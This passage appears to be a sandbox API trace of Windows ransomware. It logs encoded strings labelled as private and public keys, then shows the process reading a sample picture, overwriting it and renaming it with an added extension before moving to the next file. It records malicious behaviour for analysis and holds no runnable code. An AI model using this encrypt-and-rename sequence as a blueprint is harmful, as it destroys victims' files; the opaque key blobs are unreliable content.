p1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0120.756] GetCurrentThreadId () returned 0xa30 [0120.756] GetCurrentThreadId () returned 0xa30 [0120.756] GetCurrentThreadId () returned 0xa30 [0120.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0120.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0120.756] GetCurrentThreadId () returned 0xa30 [0120.756] GetCurrentThreadId () returned 0xa30 [0120.757] GetCurrentThreadId () returned 0xa30 [0120.757] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.757] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0120.757] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.757] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbea1f [0120.757] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.757] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eed0000 [0120.758] ReadFile (in: hFile=0x1ec, lpBuffer=0x7eed0010, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eed0010*, lpNumberOfBytesRead=0x18f6a0*=0xbea1f, lpOverlapped=0x0) returned 1 [0120.786] CloseHandle (hObject=0x1ec) returned 1 [0120.786] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee00000 [0120.793] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed20000 [0120.966] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.982] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee00010*, nNumberOfBytesToWrite=0xbea1f, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee00010*, lpNumberOfBytesWritten=0x18f6ac*=0xbea1f, lpOverlapped=0x0) returned 1 [0121.070] CloseHandle (hObject=0x1ec) returned 1 [0121.071] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.zv7un")) returned 1 [0121.072] VirtualFree (lpAddress=0x7eed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.084] VirtualFree (lpAddress=0x7ee00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.095] VirtualFree (lpAddress=0x7ed20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] GetCurrentThreadId () returned 0xa30 [0121.106] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0121.106] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0121.106] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0121.125] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c)) returned 1 [0121.126] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 0x20 [0121.203] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", dwFileAttributes=0x80) returned 1 [0121.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0121.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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